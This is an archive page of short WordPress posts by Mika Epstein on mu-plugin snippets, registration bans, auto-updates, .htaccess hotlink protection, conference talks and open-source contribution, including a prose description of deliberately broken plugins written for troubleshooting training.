**Published:** January 22, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Easy one-file drop in for using Google Libraries in your WordPress install.
**Content:**
 A lot of people would rather use Google Hosted JavaScript Libraries. Why? [Here are three good reasons.](http://encosia.com/2008/12/10/3-reasons-why-you-should-let-google-host-jquery-for-you/) Okay, great. How do you do it in WordPress? [DigWP has you covered.](http://digwp.com/2009/06/use-google-hosted-javascript-libraries-still-the-right-way/)
But if you want to do it for WordPress MultiSite, for all sites on your network, you can toss this into your mu-plugins folder. I named my file `googlelib.php` and dropped it in. Bam.
Oh and there’s also the [Use Google Libraries](http://wordpress.org/extend/plugins/use-google-libraries/) plugin, by Jason Penney, which works great too. Just drop the `use-google-libraries.php` file into your mu-plugins folder and call it a day.
```
```
**Categories:** How To
**Tags:** mu-plugins, wordpress
---
### [Ban Whack-a-Mole](https://halfelf.org/2010/ban-whack-a-mole/)
**Published:** July 13, 2010
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Down and dirty ban blocker.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2010/07/Mole_Attack_panel.jpg) If Ban Hammer is too much for you, I understand. But you still want to smack down users from a specific domain? Otto came up with this and it works nicely.
Copy the code into your theme’s functions.php file (just make one if you don’t have one) and change the call to **.ru** to whatever it is you need. I’m not 100% sure what would happen if you added in multiple calls, but this is perfect for banning just ONE annoying person.
```
function no_russians($login, $email, $errors) {
if (strpos($email, '.ru') !== FALSE) {
$errors->add('email_banned', __('ERROR: This email address is not allowed, please choose another one.'));
}
}
add_action('register_post', 'no_russians', 10, 3);
```
**Categories:** How To
**Tags:** ban hammer, function
---
### [WordPress Cancel Post Button](https://halfelf.org/2012/cancel-post-button/)
**Published:** October 19, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Add a 'Cancel Post' button to your post editor in WordPress.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2012/10/Screen-Shot-2012-10-19-at-12.57.08-PM.png) Someone asked about this in the forums. I can see why folks would find it useful, so here’s a simple addition to add a ‘Cancel Post’ button to your publishing metabox.
This plugin checks what post-type you’re on and redirects you correctly for pages and CPTs.
**To Install**
Make a file called `cancel-button.php` and put it in your `mu-plugins` folder (if you don’t have one, just make it in `/wp-content/`). In that file, paste the following (yes there’s no ending PHP tag, it’s okay, you don’t need it):
```
**Categories:** How It Is
**Tags:** coding, plugins, wordpress
---
### [How 17 Famous Website Looked In The Past: In The ’90s. You’ll Be Amazed | ImmatureBusiness](https://halfelf.org/2011/how-17-famous-website-looked-in-the-past-in-the-90s-youll-be-amazed-immaturebusiness/)
**Published:** September 26, 2011
**Author:** Ipstenu (Mika Epstein)
**Content:**
> Remember those times in the ’90s when you had to type WWW. and websites looked dull, boring, and full of moving and annoying flash banners. I’m sure nobody wish to go back to those times. Now, websites are focusing more and more on the user experience, loading speed, and subtle ways to locate ads without distracting the content or function.
via [How 17 Famous Website Looked In The Past: In The ’90s. You’ll Be Amazed | ImmatureBusiness](http://immaturebusiness.com/1537/how-17-famous-website-looked-in-the-past-in-the-90s-youll-be-amazed/).
**Categories:** How It Is
**Tags:** design, website
---
### [‘it’s not my best work’ — not a surrender to mediocrity](https://halfelf.org/2011/its-not-my-best-work-not-a-surrender-to-mediocrity/)
**Published:** October 28, 2011
**Author:** Ipstenu (Mika Epstein)
**Content:**
[Not My Best Work](http://www.techprose.com/pdf/DanEpstein_NotMyBestWork.html?mkt_tok=3RkMMJWWfF9wsRonu6jBZKXonjHpfsXx6%2BssT/rn28M3109ad%2BrmPBy%2B2IMIWoEnZ9mMBAQZC811xQ9QCvKab4U%3D) by Dan Epstein.
**Categories:** How It Is
**Tags:** essay
---
### [Dot-dash-diss: The gentleman hacker's 1903 lulz - tech - 27 December 2011 - New Scientist](https://halfelf.org/2011/dot-dash-diss-the-gentleman-hackers-1903-lulz-tech-27-december-2011-new-scientist/)
**Published:** December 29, 2011
**Author:** Ipstenu (Mika Epstein)
**Content:**
A century ago, one of the world’s first hackers used Morse code insults to disrupt a public demo of Marconi’s wireless telegraph
via [Dot-dash-diss: The gentleman hacker's 1903 lulz – tech – 27 December 2011 – New Scientist](http://www.newscientist.com/article/mg21228440.700-dotdashdiss-the-gentleman).
**Categories:** How It Is
**Tags:** hacks
---
### [“Without a plugin” considered dangerous | sabreuse](https://halfelf.org/2011/without-a-plugin-considered-dangerous-sabreuse/)
**Published:** December 31, 2011
**Author:** Ipstenu (Mika Epstein)
**Content:**
> There’s just one problem with this. Plugins exist for a very good reason: to add non-core functionality 1 to your site without hosing up the whole lot.
Via [“Without a plugin” considered dangerous | sabreuse](http://sabreuse.com/without-a-plugin-considered-dangerous/)
[](http://sabreuse.com/without-a-plugin-considered-dangerous/)
**Categories:** How It Is
**Tags:** essay, plugins, wordpress
---
### [WordPress › Help Stop SOPA/PIPA](https://halfelf.org/2012/wordpress-help-stop-sopapipa/)
**Published:** January 10, 2012
**Author:** Ipstenu (Mika Epstein)
**Content:**
We are not a small group. More than 60 million people use WordPress — it’s said to power about 15% of the web. We can make an impact, and you can be an agent of change. Go to Stop American Censorship for more information and a bunch of ways you can take action quickly, easily, and painlessly. The Senate votes in two weeks, and we need to help at least 41 more senators see reason before then. Please. Make your voice heard.
via [WordPress › Help Stop SOPA/PIPA](http://wordpress.org/news/2012/01/help-stop-sopa-pipa/).
**Categories:** How It Is
**Tags:** freedom
---
### [WordPress 3.4 - No Problem](https://halfelf.org/2012/wordpress-3-4-no-problem/)
**Published:** May 17, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Now that I've said it, I'm doomed, but I haven't run into any major issues with WP 3.4 beta. Actually, I'm using it on this site right now.
**Content:**
It’s in beta, don’t nobody panic.
The last 3 releases of WP, I’ve made troubleshooting posts about what to do, what plugins are going to barf, and so on. This time, there really doesn’t seem as much to worry about. Of course, having said that, everything will die in a fire. Actually, though, I haven’t made a list of things yet, because there’s nothing to list. I’ve not run into any stand out ‘Oh shits!’ and the forums are remarkably quiet. So. If you’ve got stupid problems, or found you have to edit themes/plugins, please reply and let me know! I’ll get on it.
So here’s some of the cool new stuff:
**[Akismet 2.5.6](http://wpdevel.wordpress.com/2012/04/26/new-version-of-akismet-plugin-released-2-5-6-blog/)**
**[Custom Headers and Backgrounds](http://make.wordpress.org/themes/2012/04/06/updating-custom-backgrounds-and-custom-headers-for-wordpress-3-4/)** — See also [Flexible Headers in 3.4 Themes](http://sabreuse.com/flexible-headers-in-wordpress-3-4-themes/) and [Backwards Compatibility for WP 3.4 Headers and Backgrounds](http://sabreuse.com/backwards-compatibility-for-wordpress-3-4-headers-and-backgrounds/)
**[Twitter was added to oEmbeds](http://codex.wordpress.org/Embeds)** — This should just work out of the box, but if you have a plugin (like Blackbird Pie), you may want to disable it before upgrading.
RPC-XML support for Custom Post-Types.
**Admin Toolbar To The Top!** Click on any blank space in the admin bar and you go to the top of the page. (It’s the toolbar, damn it, I know this!)
**Sexier Theme Options.** Have you ever wanted to see what the changes did to your theme on the fly? Go to WP Admin > Themes and click on *Customize Theme* to get a quick way to see what you’re tweaking. Not every option is there, nor will every option be added, but this is pretty nice!
[](https://halfelf.org/2012/wordpress-3-4-no-problem/themeoptions/)
You also get that view when you preview a theme.
Of note, Twenty Twelve and Favicons got punted to 3.5.
Edited to add…
[Jane Wells has a nice write up of some of the new stuff. It’s on .com, but a lot of this (all) is on 3.4 too. What? You didn’t know .com used the same (mostly) WordPress we do?](http://en.blog.wordpress.com/2012/05/18/look-before-you-leap/)
**Categories:** How It Is
**Tags:** essay, support, wordpress
---
### [MeetWP: Troubleshooting](https://halfelf.org/2013/meetwp-troubleshooting-and-hacked-sites/)
**Published:** September 11, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** In the tripod of security, it occurs to me that I'm all three! WP Dev, Webhost, User. Jinkies! Watch me talk about security in a way you may not have heard before.
**Content:**
I met the guys from [MeetWP](http://meetwp.me/) when I was at WordCamp Chicago, and when they asked if I’d be interested, I thought about it for a second and said “Sure, why not.” I live in the OC, you see, and while I enjoy meetups, the two nearest me are just over an hour away. I’m a one-car home, and generally my spouse has class when these meetups are, so the timing has just be downright rotten. But a virtual meetup? Hey that has potential.
[](http://meetwp.me)
What is this thing? From their site:
> MeetWP is an online WordPress Meetup. Local Meetups are a great place to learn about WordPress and meet new people in the WordPress community, but not everyone can make it to a local meetup or are in an area where a Meetup dedicated to WordPress can happen. MeetWP, the online WordPress Meetup, is here to bring together people all over the world in a virtual meetup to learn from each other.
So yay! They’ll be posting this up on their webpage as a link with all the logs soon enough, and you’ll see me up there as MeetWP #4 (following JJJ, Chris Lema, and Lisa Sabin-Wilson). I didn’t do slides, so you get to watch me break a site, fix it, and then show you my break-fix site (more on that later) where I have examples and plugins you can use to install, break your site, and fix it.
There were crowdsourced notes on Google (you can read them [here](https://docs.google.com/document/d/1dsMShd-bs8EWVVc1keZbQCXymg2RfuORF6DOCdoHZOA/edit)), and one of them is ‘Don’t be Stupid.’
[](http://meetwp.me)I try to cure myself of stupid as much as I can, because being hacked almost always boils down to *someone* being stupid. If I can not be the stupid, I’m in good standing.
Oh and yes, I think SSH and SFTP are a requirement for a webhost. If they can’t do that, I’m gone.
**Categories:** How It Is
**Tags:** security, wordpress
---
### [CodePoet Interview with Me!](https://halfelf.org/2012/codepoet-interview-with-me/)
**Published:** December 11, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Happy Hanukkah. Check out my totally awesome interview with Code Poet.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2012/12/IMG_1886.jpeg)Last week they asked if I was interested in an interview. Of course I said yes.
Do I consider myself a developer? Yes. But I’m not a computer programmer. Sure I can manage my way around the block with many things, but I don’t do desktop software, or really server software very much. I just like to make the Internet more awesome.
If you want to hear the story about how French Toast led to working at DreamHost, or my secret to how to not kill users, or even my next big WP book plan, go read my [interview on Code Poet](http://build.codepoet.com/2012/12/11/mika-epstein-interview/).
**Categories:** How It Is
**Tags:** interview, wordpress
---
### [Lightning Bolt at Portland!](https://halfelf.org/2013/lightning-bolt-at-portland/)
**Published:** July 10, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I'll be speaking at WordCamp Portland too!
**Content:**
 Surprise! I’m doing a [lightning talk in Portland](http://2013.portland.wordcamp.org/2013/07/09/introducing-our-lightning-talks/) called **“Rolling your WordPress Support Character (without any code)”**
A lightning talk is a magical 5 minute thrill ride with auto-advancing slides. 20 slides. 15 seconds a piece. And … GO!
It’s not too late to buy tickets for [WordCamp Portland](http://2013.portland.wordcamp.org/). Bets are being taken as to what hat I’ll wear. (Remember, I’m a rogue, not a wizard, so no pointed hat.)
**Categories:** How It Is
**Tags:** support, wordcamp, wordpress
---
### [Speaking at WordCamp San Francisco - 2013](https://halfelf.org/2013/speaking-at-wordcamp-san-francisco-2013/)
**Published:** June 21, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I'll be talking at WordCamp San Francisco
**Content:**
It’s true! I’ll be [speaking at WordCamp San Francisco](http://2013.sf.wordcamp.org/2013/06/21/say-hello-to-our-first-round-of-speakers/) again this year.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/06/Screen-Shot-2013-06-21-at-12.39.45-PM.png)
Last year I talked about supporting WordPress and how you can give back. This year, the subject of my talk is “[Don’t Use WordPress Multisite](https://halfelf.org/2011/dont-use-wordpress-multisite/ "Don’t Use WordPress MultiSite").” I wrote a post here about that in 2011, and while quite a lot of it remains true, I still see hundreds of people who think Multisite is the cure to all that ails ’em.
I love it, but it’s not everything and a side of fries. But I’m not going to give away the talk here, and it’s not just going to be a copy of that post. So feel free to read it, offer comments, and meet me where I left my harp: Sam Frank’s Disco.(This is a very bad joke I’ll tell you if you want.)
**Categories:** How It Is
**Tags:** multisite, wordcamp, wordpress
---
### [MeetWP 04 - Troubleshooting a Hacked Site with Mika Epstein](https://halfelf.org/2013/meetwp-04-troubleshooting-a-hacked-site-with-mika-epstein/)
**Published:** September 11, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** MeetWP Virtual Meeyup Video
**Content:**
**Categories:** Video
**Tags:** wordpress
---
### [WCPDX: Lightning Talk](https://halfelf.org/2013/wcpdx-lightning-talk/)
**Published:** September 12, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Missed me in Portland? Watch "Rolling Your WordPress Support Character (Without Any Code)" right here, right now!
**Content:**
**Rolling Your WordPress Support Character (Without Any Code)**
**Categories:** Video
**Tags:** support, wordcamp, wordpress
---
### [DreamCon In Review](https://halfelf.org/2013/dreamcon-in-review/)
**Published:** August 5, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A different kind of hosting event for a different kind of webhost.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2013/08/atim.jpg)The weekend after WCSF I talked at [DreamCon](http://dreamhost.com/dreamcon), which was our own little Webhost convention/camp for technology and other things. As [Matt](http://ma.tt) said, we’re kind of the wacky Webhost, and I love it that way here at [DreamHost](http://dreamhost.com).
Some of my coworkers talked about the technical stuff, like WP-cli and how DreamPress works, but I talked about some slightly more esoteric and conceptual things, no coding involved topics, because I tried to think about the questions people who host with us asked me the most.
**Choosing WordPress Plugins**
This was the more geeky of the two, but was an overview on how I search for plugins, value the devs and their work, and determine which ones I use. I mentioned needs and wants a couple times, which makes me think I’ll end up giving people a talk on *that* one of these days…
The questions I got after this session were interesting. I preemptively answered the long standing question I had never been able to answer before, which is “What is your favorite plugin?” I finally have an answer, and it’s [MP6](http://Wordpress.org/plugins/mp6). My eyes suck, and for me, MP6 finally made the back end of WordPress totally readable for me, without having to increase my browser’s font size. The font was better, and larger, and clearer. Normally I hate black backgrounds, but for some reason MP6 doesn’t give me headaches.
The best question I got was how to search effectively. My answer was to be more exact with search terms. Too often we go for broad terms and narrow down, but I like to go the other way. “wordpress plugin calendar event list” – I pick every major term I need in that plugin, and more precise results follow.
**Get Out Of The Monkey House**
Besides the fact that all the devs in the room cheered when I stated “code is art” I think this one really opened people’s eyes. Remembering that the design of your site doesn’t stop at the pretty stuff, that your content and the flow of how the site works is also a major impact, is huge.
By the way, code is totally art. You’re making something out of nothing, inventing and building a concept that never existed before. It’s just like writing music. Be proud of it. The most standout question from this talk was what do I do when a customer demands they stay in that monkey house? I put my foot down. When I get into contract work, I have always stated up front “You’re hiring me to be your expert, which means you may suggest things for your website that I, out of my experience and expertise, know to be bad ideas. When that happens, I will tell you that we should not do these things, and why. This is my power of veto. I will only use it when I have proof, via research, that what you are proposing is not in your best interests. If that’s not okay, then we don’t sign the contract. If it is, then you will accept my actions on web design, just as I will accept yours about your product. You know more than I do about that, I know more than you about this.”
[](https://halfelf.org/wp-content/uploads/sites/2/2013/08/tumblr_ma1mh5Cpbs1rdkmnho1_500.gif)
Thus far, no ones walked away, and I’ve never made a website with a blink tag (except for the gag website, where the contract was to make it look like Ling’s cars…).
**Categories:** How It Is
**Tags:** administration, design, dreamhost, plugins, wordpress
---
### [Why Does The WordPress Background Auto-Upgrade Work?](https://halfelf.org/2013/why-does-the-wordpress-background-auto-upgrade-work/)
**Published:** December 4, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** About three years ago I wrote why the upgrade didn't work. Today I'm happily thinking about how well it will work for everyone. As Jen Mylo would say, code changes.
**Content:**
Way back in the stone ages I [wrote an explanation as to why the WordPress Upgrade didn’t work all the time](https://halfelf.org/2010/why-doesnt-the-wordpress-auto-upgrade-work/). In that post, I pointed out that servers and your installs are special snowflakes and not all the same, and that’s why an upgrade doesn’t work all the time. I’m amused that no one pointed out to me that stance (one which I still maintain by the way) seems contradictory to my proclamation that we should love the built-in updater as of WordPress 3.7.
Allow me to challenge myself.
Your server, with your install and your plugins and theme and tweaks, *is still a special snowflake*.
The background updates for WordPress keep this in mind.
Oh, I have to go further into this? Fine. The reason the updates are restricted to just minor, security/maintenance, updates is that, in general, they do not cause the problems people experienced 2010. It’s been three years. We’re smarter, we learned a lot, and most importantly, if the problem in 2010 showed up again, *WordPress would not to install*. I heard the sounds of brakes screeching. Let me explain. We *want* WordPress to not install itself if it can’t. We’re not defining that as a ‘failure’ because while your install did fail to upgrade, your site didn’t break.
Let’s get the down low from the man himself:
> All "Update Now" clicks to WordPress 3.7.1 have a 99.75% success rate. That 0.25% is mostly just temporary download failures.
>
> — Andrew Nacin (@nacin) [October 30, 2013](https://twitter.com/nacin/status/395420037474840576?ref_src=twsrc%5Etfw)
> About 24,000 auto updates have taken place without any problems. Half of all installs are now being told to update as the rollout continues.
>
> — Andrew Nacin (@nacin) [October 30, 2013](https://twitter.com/nacin/status/395568808489783296?ref_src=twsrc%5Etfw)
> Oh no! After 29,000 auto updates to 3.7.1, one site had a critical error. Haha just kidding, the updater simply rolled the site back to 3.7.
>
> — Andrew Nacin (@nacin) [October 30, 2013](https://twitter.com/nacin/status/395579233088454656?ref_src=twsrc%5Etfw)
> 3.7.1’s fixes were written in such a way to ensure a working site despite any failed file copies. So even a critical failure isn’t critical.
>
> — Andrew Nacin (@nacin) [October 30, 2013](https://twitter.com/nacin/status/395582674904956928?ref_src=twsrc%5Etfw)
Those seem pretty straight forward. WordPress 3.7.1 was made so that a failure to update didn’t break your site, because if it couldn’t apply the install, it would rollback seamlessly to 3.7 without you noticing. Well, except for the email you got to say “Hey, this didn’t work, man. Sorry.”
**Why does this work and the major upgrade does not?**
That’s the real question, isn’t it? Why are we having such a monumental success for 3.7 to 3.7.1, where we didn’t from 3.6 to 3.7? Actually, we did, but you’re not comparing the right things.
First of all, the 3.6 to 3.7 upgrade is one of the more stable ones we’ve had in a while. 2.9 to 3.0 was the birth of my OMGWTFBBQ!!! post in the forums (and the catalyst for why I’m working for DreamHost). It was a major overhaul, with a lot of changes, and a lot of complicated tweaks. Let’s be frank, it was a re-write of a crap-ton of modules, and it was just *going* to break things. WPMU folded into WordPress and changed to Multisite? Yikes! But as time has moved on, I’ve been reporting more and more “Everything’s okay in the forums.” This does not mean everyone is perfectly happy and perfectly safe, and the upgrades were a 100% success. We have the same type of complaints as we always have. Themes and plugins were not robustly tested enough with the new release, so they broke when the upgrade happened. This is (currently) unavoidable.
So again, why is this working so well?
Because the core team who wrote the update script learned from their mistakes in the past. The changes made in WordPress may be bold and large, but they’re also done carefully. Instead of just saying ‘What’s done gets into the new version,’ 3.7 took the ‘feature teams’ trend started a few releases back to the next level. Only if the feature was done-done did it get into 3.7. This meant that while we did not have a major ‘feature’ this release (like we did with the Media Release in 3.5), we had the opportunity to make each feature rock solid on it’s own. And this worked better than many expected because of “features as plugins.”
While some aspects of core have to be developed in core, others begin their lives as plugins. Like the password-strength improvements and auto-upgrades were *both* plugins before they were added to core. Also if you look at 3.8, pretty much every major feature that can be a plugin is one. This means that one feature, a new post editor, didn’t make it because right now it’s not ready. Having things be plugins also lets more people test them, by installing the plugin without having to upgrade to a beta version of WordPress!
Finally, and this is really important, not everyone gets upgraded at the same time. Within 24 hours of the release of WordPress 3.7.1, only 75% of English installs were updated. This was done to keep an eye out for load issues on WordPress.org’s boxes, but also on shared webservers. Which by the way are doing just fine. As we go forward, Nacin’s said he expects this to be sped up, especially for a 100% security release.
How does it work? Glad you asked! The best explanation I got at this was over beer with Nacin, and sold me. At 7am and 7pm your site pings WordPress.org to see if there are updates. When this happens, your URL is hashed into MD5. Then the first three letters of that is converted to a base 10 number (MD5 being based on base 16, which doesn’t do you any good unless you have 6 extra fingers) and that’s used to decide if you get an update or not. The cool part of this is that it can be used to push to only one out of four thousand sites.
I know this is all probably sounding like fan service. Like I can’t see anything wrong with this. Nothing is perfect. I’m well aware that things can break. I’m well aware there are possibilities like WP being DNS highjacked, or a plugin circumventing the updater. But. If the DNS is jacked, the API just won’t work unless the jacker has a duplicate that works. And the evil plugin would kind of have to do the same thing, or they would only be able to impact you when a natural upgrade occurred. And neither of those are actually related to background updates. They could have happened at any time in the past. They could happen tomorrow.
Why do the upgrades work?
Because WordPress grew up.
And that’s pretty cool.
**Categories:** How It Is
**Tags:** freedom, open source, wordpress
---
### [Writing Evil Code](https://halfelf.org/2013/writing-evil-code/)
**Published:** October 15, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Evil code I've written in order to help me teach people, but also to understand how evil is done.
**Content:**
Lately I’ve been doing a lot more training than ever before, and I think (Jen, tell me if I’m wrong) I’m decent at it. I certainly know I have issues with planning exactly what I’m going to teach, though in the case of WordPress troubleshooting, I’m not teaching people what the *right* answer is, but actually how to look at the error in order to find the right answer. It’s like a code philosophy class, and the more I give it, the more I think I should go back to school to actually ‘learn’ this stuff.
One thing we’ve been learning about all this stuff, though, is that the hands-on lessons go way better than the lectures (to which every one of you is going ‘Duh, Mika!’ I’m sure), and in the interests of that, I’ve been writing intentionally bad and evil plugins. Actually, [Kailey Lampert](http://trepmal.com/) wrote most of the bad/broken plugins, and I’ve been writing the evil ones. I have a hard time writing broken, as it turns out.
On the other hand, when it comes to writing intentionally nefarious code, it’s pretty easy. Either that or I’m actually really good at it and don’t think I’m not pondering what that means about me.
The following are some of the one’s I’ve not only written, but explained what they do, why and how.

- I Love DC: When installed and activated, you will be redirected elsewhere. Forever.
- I Love San Diego: Changes your password to something you have no idea what it is, and also changes your email so you can’t easily reset.
- Hello D0LLY: Redirects non-logged in users to a different site.
Now it’s intended that all these plugins are *simple*. They don’t take long to fix your site, and they don’t take long to decyrpt and understand. Every page where you can download them even tells you how to fix them. The point of them is not to make super complex hacks that can never be detected (no such thing), but to explain the process of how one looks through your own site to figure out what happened, and then the plugin file itself to see *why* it happened at all.
You see, I’m not aiming for these to make someone the world’s best coder. The goal is to help people understand what’s going on and in general, how to un-do it. Personally, I’ve found that these are great ways for **me** to understand better how naughty people do things, but also the unraveling has proven delightful for people wanting to learn more about code and cleaning up sites. The only worry left with that is hackers might see this and get great ideas of what do to people. I finally decided that since I’m showing you all how to fix this, you’d know what was wrong when you saw it.
If you want to download these hacks, check out [Break/Fix](http://breakfix.elftest.net) over on my ElfTest network, and download away. Every example comes with a walkthrough on how to solve it, so if you need a hand held, it’s there for you.
**Categories:** How It Is
**Tags:** coding, wordpress
---
### [Hotlinking](https://halfelf.org/2004/hotlinking/)
**Published:** September 23, 2004
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Image theft is one thing I'm resigned to on the net. Bandwidth theft I oppose with all the anger in my heart.
**Content:**
There are two questions I need to spell out for folks before I get into the code bits, and I’ll try to keep this as light-tech as possible. If you run a website, or have a free site, or just want to post your pictures on the web, you **need** to know this. If you have your own domain, you **need** to know this. If you post pictures to a bulletin board, you **need** to know this. Basically, if you use the internet at all, read this. I’ll let you know when you need to stop reading.
[Things everyone should know](#everyone)
[Things every webmaster should know](#webmaster)
[Things every ISP should know](#isp)
---
**Things everyone should know**
*Bandwidth*
Bandwidth means, for computer users, the data transfer rate, or how much data can be transferred in a given time period. The easiest example here is how you access the net. If you use a modem for dial up (and I feel for you), then you use 14.4, 28.8, 33.6 or 54 kilobytes (kb) per second. To give you an idea how small a kb it, one letter (that is ‘a’ for example) is a kb, roughly. That’s not an exact science, but it’ll give you a rough idea. At 14.4, your email downloads at roughly 14 letters a second. Which is why dial-up sucks. In the world of computers, bigger bandwidth is better. The more bandwidth, the faster you can download the preview of the new Batman movie.
In addition to speed, bandwidth also means how much data you can transfer in a given time period. This website has an allocation of 30 gigabytes of data per month, and we average about 5. My other website has the same allocation and averages 18. If I go over my data transfer for a given month, I can either pay out the nose for extra bandwidth, or I can let the site be shut down till the next month. The reason this is important to know, is if you run a website, every time a page loads, you use bandwidth. On a site like [Yahoo! GeoCities](http://www.geocities.com), you get 3 GB/month. Yeah, you think that’s great, but it really sucks if you want to post things like a blog and people click here a lot. This aspect of bandwidth is the reason why most sites I design are low on the graphics. More graphics means more data transfered means more bandwidth used. In the case of data transfer allocation, bigger sites does **not** equal better, though bigger bandwidth is king.
Then again, the bigger your site, the longer it takes to download, and the less time it takes for people on 56k to get pissed and tell you that you suck. Finding a webdesign that’s a balance between your dream design and speed is why people like me have jobs.
In summation: Bandwidth controls how fast you can view the net from your home, as well as how much data a website can share with the world each month. Having more bandwidth is better all the time, but forcing users to use more bandwidth with image heavy sites and poorly coded web pages is not cool.
*Hotlinking*
Hotlinking is putting a link to someone else’s webpage’s graphic on your site. This is also called bandwidth theft. Directly linking to a website’s files (images, video, etc.) means that when someone accesses your website, they draw bandwidth from another. If you use an >IMGto that site, is bad form, ethically asinine, and impolite. It’s akin to stealing electricity from your neighbor by plugging into their outlets.
In summation: Hotlinking is stealing bandwidth from someone else’s website, and is considered to be unethical.
**Things every webmaster should know**
Now that you’ve gotten this far, we’re going into heavy geekitude. I have actually once had my site nearly shut down because someone was hotlinking to an image, and I had to figure out how to prevent it. This is the knowledge I share with you.
*Hotlink Prevention for Apache*
Apache is the de facto webserver for Unix. I don’t like IIS (Windows webserver) and so few people use Netscape’s webserver, I won’t even consider that anymore. Pretty much, I use Apache and if you don’t, I haven’t a clue how to help you.
On Apache (and in theory this works on IIS, but as I said, I don’t use it), there is a file in the root of your html folder called **.htaccess**. This is an Apache directives file, or a config file, that controls how Apache handles the folders in the same folder as the .htaccess file. Your website has a folder, usually called` public_html`. Inside that folder you have things like a file named `index.shtml` and a folder named `cgi-bin`. Below is an example of what my webserver’s root public\_html folder might look like.
```
.htaccess blog index.shtml images cgi-bin robots.txt
folder1 folder2 foldern
```
The .htaccess folder controls how the subfolders (blog, cgi-bin, folder1, folder2, and foldern) are handled. If I look at my .htaccess file, and you can open it up in your text editor of choice, I see this at the very bottom:
```
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^https://ipstenu.org/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://ipstenu.org/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^https://ipstenu.org.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://ipstenu.org.*$ [NC]
RewriteRule .*\.(jpg|jpeg|gif|png|bmp)$ - [F,NC]
```
This means that I’m telling Apache to turn on the mod ‘RewriteEngine’ and to only permit my webpage (the HTTP\_REFERER) to access the images. The images I list are in the ‘RewriteRule.’ I could use variables like ‘jp?g’, but I know what the file extensions are for the files on my server, and I cheat that way. If I wanted to be really mean, and didn’t worry so much about my bandwidth, I’d change the last line to `RewriteRule .*\.(jpg|jpeg|gif|png|bmp)$ images/nohotlink.gif [L]` so that when you try and link to `/images/jojo.jpg`, you’d get some witty image about how hotlinking is wrong.
I actually do that on my other server, but the gif I use is 2k so it’s not something I worry about. It also makes it easy for me to later go back and see who’s been hitting that particular GIF and find the mean people. Yes, I have been known to send nasty notes to them.
Keep in mind, as with any .htaccess rewrites, you may block some legitimate traffic (such as users behind proxies or privacy firewalls) using these techniques.
Now here’s the big problem. Not all ISPs let you use the [Rewrite mod](http://httpd.apache.org/docs/mod/mod_rewrite.html)! Half the reason I switched to my current provider was hotlinking (the other was SQL). The rewrite mod (module, don’t you know?) “provides a rule-based rewriting engine to rewrite requested URLs on the fly.” It’s totally magic, and I secretly adore it. It’s complex as fuck, though, and I still don’t really get all that it does. I do know that it works.
**Things ever ISP should know**
You’re a fucking bastard if you don’t let your users use mod\_rewrite.
Was that harsh? Sorry, I mean to say ‘You don’t give a rats ass about bandwidth if you don’t let your users use this.’ I’m well aware there are security ‘concerns’ about what mean people can do with it, but let’s face it, if someone’s smart enough to figure out everything you can do with mod\_rewrite, then you’re in trouble anyway. There **is** a performance hit as every request is checked against the rewrite rules, so if you’re running an image intensive site, this can suck. But the trade off between performance and bandwidth are, to me, minimal.
Look, if a user have a website with images, and some dickhead out there is hotlinking to that user’s images, then you, the ISP, have to handle the bandwidth crisis, and the pissy user asking you why he can’t use this feature to stop the dickheads?
And speaking of security, I can’t find any hack for it. So if the fear is ‘really smart, but really evil people utilizing my server for nefarious purposes,’ I think that should be pretty low on the list. I’d put ‘spammer’ and ‘virus distributor’ ahead of it.
Hotlinking can act like a DDoS attack, and if there’s ever a way to prevent it, by G-d, do it! The mod takes five fucking minutes to install.
[SimpleNet](http://www.simplenet.com/), I’m looking at you.
**Categories:** How To
**Tags:** administration, htaccess, unix
---
### [Give Back Or Die](https://halfelf.org/2013/give-back-or-die/)
**Published:** September 26, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The greed in open source is the only thing I can see being it's downfall. We must, all of us, contribute.
**Content:**
One of the things I hate in the world is people who don’t give back.
I call myself a software socialist because I strongly believe in giving back to the things that make me successful.(This is, in no way, a blanket approval of everything Socalist. Snarky political comments may be deleted.) This is why I give back to WordPress, spend so much time on it, and so on and so forth. Thus, it’s logical (or at least internally consistant) when I say that the part about WordPress that I hate is people who take and never reciprocate. More than this just being a pet peeve, though, people who do this with Open Source code are biting the hands that feed them, and it’s terribly frustrating to watch.
Look. You get this totally awesome software for free. People volunteer (sometimes we’re compensated, sometimes not) to make it better, safer, more secure. And we give these updates, again for free, back to you to make a living from. That gives all of us ownership in the software and a responsibility that I see a lot of people dropping the ball on.
So let me state this for the record: If you use a product that is free that enables you to make your living, and you *do not* give back in some way, you annoy me.
I’m going to use Mediawiki as an example here. I cut my teeth on it, which is something few of you know. I’ve been using it *longer* than WordPress, as a self-hosted Wiki install. I learned about caching tools not because of WP, but from Mediawiki. I learned about config files and extensions, and why you never edit core files, and theming *all* from Mediawiki. It’s safe to say that had it not been for my foray into that world, I’d never ever have been the WordPress Guru I am today.
At the same time, I have never once given a single line of code *back* to Mediawiki. I’ve probably reported no more than 5 bugs in my lifetime, and it’s not because they don’t exist. I actually do know how to do more than just theme in Mediawiki, I know how to trace a bug and fix it, but given my use-case of it it’s been pretty rare that I’ve even had to report it, because every time I’ve found it already handled in the next release.
